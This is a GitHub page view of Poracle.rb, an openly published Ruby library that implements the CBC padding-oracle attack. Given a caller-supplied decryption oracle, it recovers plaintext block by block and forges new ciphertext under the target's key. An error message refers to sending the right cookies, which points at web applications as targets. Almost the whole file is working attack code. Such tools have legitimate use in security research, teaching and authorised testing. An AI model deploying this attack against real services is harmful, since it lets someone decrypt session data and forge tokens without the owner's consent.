-
Notifications
You must be signed in to change notification settings - Fork 24
/
Poracle.rb
307 lines (255 loc) · 9.8 KB
/
Poracle.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
##
# Poracle.rb
# Created: December 8, 2012
# By: Ron Bowes
#
# TODO
##
#
require 'singlogger'
class Poracle
private
def _generate_set(base_list)
mapping = []
base_list.each do |i|
mapping[i.ord()] = true
end
0.upto(255) do |i|
if(!mapping[i])
base_list << i.chr
end
end
return base_list
end
private
def _find_character_decrypt(character, block, previous, plaintext, character_set)
# Make sure it's actually possible to fail
failblock1 = ("\0" * @blocksize) + ("\0" * @blocksize)
failblock2 = ("\0" * @blocksize) + ("\0" * (@blocksize - 1)) + "\x01"
if(@do_decrypt.call(failblock1) and @do_decrypt.call(failblock2))
raise("Two different blocks with different padding succeeded; are you sure the decrypt function is working?")
end
# First, generate a good C' (C prime) value, which is what we're going to
# set the previous block to. It's the plaintext we have so far, XORed with
# the expected padding, XORed with the previous block. This is like the
# ketchup in the secret sauce.
blockprime = "\0" * @blocksize
(@blocksize - 1).step(character + 1, -1) do |i|
blockprime[i] = (plaintext[i].ord() ^ (@blocksize - character) ^ previous[i].ord()).chr
end
# Try all possible characters in the set (hopefully the set is exhaustive)
character_set.each do |current_guess|
# Calculate the next character of C' based on tghe plaintext character we
# want to guess. This is the mayo in the secret sauce.
blockprime[character] = ((@blocksize - character) ^ previous[character].ord() ^ current_guess.ord()).chr
# Ask the mod to attempt to decrypt the string. This is the last
# ingredient in the secret sauce - the relish, as it were.
result = @do_decrypt.call(blockprime + block)
# If it successfully decrypted, we found the character!
if(result)
# Validate the result if we're working on the last character
false_positive = false
if(character == @blocksize - 1)
# Modify the second-last character in any way (we XOR with 1 for
# simplicity)
blockprime[character - 1] = (blockprime[character - 1].ord() ^ 1).chr
# If the decryption fails, we hit a false positive!
if(!@do_decrypt.call(blockprime + block))
@l.debug("Hit a false positive!")
false_positive = true
end
end
# If it's not a false positive, return the character we just found
if(!false_positive)
@l.debug("guess = %s" % current_guess)
return current_guess
end
end
end
raise("Couldn't find a valid encoding!")
end
private
def _do_block_decrypt(block, previous, has_padding = false, character_set = nil)
# It doesn't matter what we default the plaintext to, as long as it's long
# enough
plaintext = "\0" * @blocksize
# Loop through the string from the end to the beginning
(block.length - 1).step(0, -1) do |character|
# When character is below 0, we've arrived at the beginning of the string
if(character >= block.length)
raise("Could not decode!")
end
# Try to be intelligent about which character we guess first, to save
# requests
set = nil
if(character == block.length - 1 && has_padding)
# For the last character of a block with padding, guess the padding
set = _generate_set([1.chr])
elsif(has_padding && character >= block.length - plaintext[block.length - 1].ord())
# If we're still in the padding, guess the proper padding value (it's
# known)
set = _generate_set([plaintext[block.length - 1]])
elsif(character_set)
# If the module provides a character_set, use that
set = _generate_set(character_set)
else
# Otherwise, use a common English ordering that I generated based on
# the Battlestar Galactica wikia page (yes, I'm serious :) )
set = _generate_set(' eationsrlhdcumpfgybw.k:v-/,CT0SA;B#G2xI1PFWE)3(*M\'!LRDHN_"9UO54Vj87q$K6zJY%?Z+=@QX&|[]<>^{}'.chars.to_a)
end
# Break the current character (this is the secret sauce)
c = _find_character_decrypt(character, block, previous, plaintext, set)
plaintext[character] = c
@l.debug(plaintext)
end
return plaintext
end
public
def decrypt_with_embedded_iv(data, character_set = nil)
@l.info("Grabbing the IV from the first block...")
iv, data = data.unpack("a#{@blocksize}a*")
return decrypt(data, iv, character_set)
end
##
# Use the do_decrypt oracle to decrypt an arbitrary string of data.
#
# iv is all zeroes by default, or can be passed in here. Alternatively,
# decrypt_with_embedded_iv() can handle an IV that's embedded in the data.
##
public
def decrypt(data, iv = nil, character_set = nil)
# Default to a nil IV
if(iv.nil?)
@l.warn("IV wasn't given, assuming all zeroes")
iv = "\x00" * @blocksize
end
# Add the IV to the start of the encrypted string (for simplicity)
data = iv + data
blockcount = data.length / @blocksize
# Validate the blocksize
if(data.length % @blocksize != 0)
@l.fatal("Data length (%d) isn't a multiple of blocksize (%d) - is this a block cipher?" % [data.length, @blocksize])
exit
end
# Test the decryption function
test_result = @do_decrypt.call(data)
if(!test_result)
@l.fatal("The correct data failed to decrypt properly! Please verify the oracle is working correctly (for example, you're sending the correct cookies in the decrypt function")
exit
end
# Tell the user what's going on
@l.info("Starting Poracle decryptor...")
@l.debug("Encrypted length: %d" % data.length)
@l.debug("Blocksize: %d" % @blocksize)
@l.debug("%d blocks:" % blockcount)
# Split the data into blocks
blocks = data.unpack("a#{@blocksize}" * blockcount)
i = 0
blocks.each do |b|
i = i + 1
@l.debug("Block #{i}: #{b.unpack("H*")}")
end
# Decrypt all the blocks - from the last to the first (after the IV).
# This can actually be done in any order.
result = ''
is_last_block = true
(blocks.size - 1).step(1, -1) do |j|
# Process this block - this is where the magic happens
new_result = _do_block_decrypt(blocks[j], blocks[j - 1], is_last_block, character_set)
if(new_result.nil?)
return nil
end
is_last_block = false
result = new_result + result
@l.debug("Block decrypted: #{result}")
end
# Validate and remove the padding
pad_bytes = result[result.length - 1].chr
if(result[result.length - pad_bytes.ord(), result.length - 1] != pad_bytes * pad_bytes.ord())
@l.fatal("Bad padding: #{result.unpack("H*")}")
exit
end
# Remove the padding
result = result[0, result.length - pad_bytes.ord()]
return result
end
private
def _find_character_encrypt(index, result, next_block)
# Make sure sanity is happening
if(next_block.length() != @blocksize)
raise("Block is the wrong size!")
end
# Save us from having to calculate
padding_chr = (@blocksize - index).chr()
# Create as much of a block as we can, with the proper padding
block = "\0" * @blocksize
index.upto(@blocksize - 1) do |i|
block[i] = (padding_chr.ord() ^ result[i].ord()).chr()
end
0.upto(255) do |c|
block[index] = (padding_chr.ord() ^ next_block[index].ord() ^ c).chr
# Attempt to decrypt the string. This is the last ingredient in the
# secret sauce - the relish, as it were.
if(@do_decrypt.call(block + next_block))
return (block[index].ord() ^ padding_chr.ord()).chr()
end
end
raise("Couldn't find a valid encoding!")
end
private
def _get_block_encrypt(block, next_block)
# It doesn't matter what we default the result to, as long as it's long
# enough
result = "\0" * @blocksize
# Loop through the string from the end to the beginning
(@blocksize - 1).step(0, -1) do |index|
result[index] = _find_character_encrypt(index, result, next_block)
@l.debug('Current string => %s' % (result+next_block).unpack('H*'))
end
0.upto(@blocksize - 1) do |i|
result[i] = (result[i].ord() ^ block[i].ord()).chr()
end
return result
end
##
# Use the do_decrypt oracle to encrypt a new block of data using the same key
# as the oracle is using.
#
# `last_block_base` will be repeated (or truncated) till it's @blocksize bytes
# long, then used as the final block.
##
public
def encrypt(data, last_block_base=nil)
# Assume the IV is at the start of the data (hence, blockcount + 1)
blockcount = (data.length / @blocksize) + 1
# Add the padding
padding_bytes = @blocksize - (data.length % @blocksize)
data = data + (padding_bytes.chr() * padding_bytes)
# Tell the user what's going on
@l.info("Starting Poracle encryptor...")
@l.debug("Encrypted length: %d" % data.length)
@l.debug("Blocksize: %d" % @blocksize)
@l.debug("%d blocks:" % blockcount)
# Split the data into blocks
data_blocks = data.unpack("a#{@blocksize}" * blockcount)
# The 'final' block can be defaulted to anything - we make it random by
# default, but it can be overridden with a parameter
if(last_block_base.nil?)
last_block_base = (1..@blocksize).map{rand(255).chr}.join
end
last_block = (last_block_base * @blocksize)[0..@blocksize-1]
result = last_block
data_blocks.reverse().each do |b|
last_block = _get_block_encrypt(b, last_block)
result = last_block + result
@l.debug("#{result.unpack("H*")}")
end
return result
end
def initialize(blocksize)
@l = SingLogger.instance()
@l.info("Starting Poracle with blocksize = %d" % blocksize)
@blocksize = blocksize
@do_decrypt = proc
end
end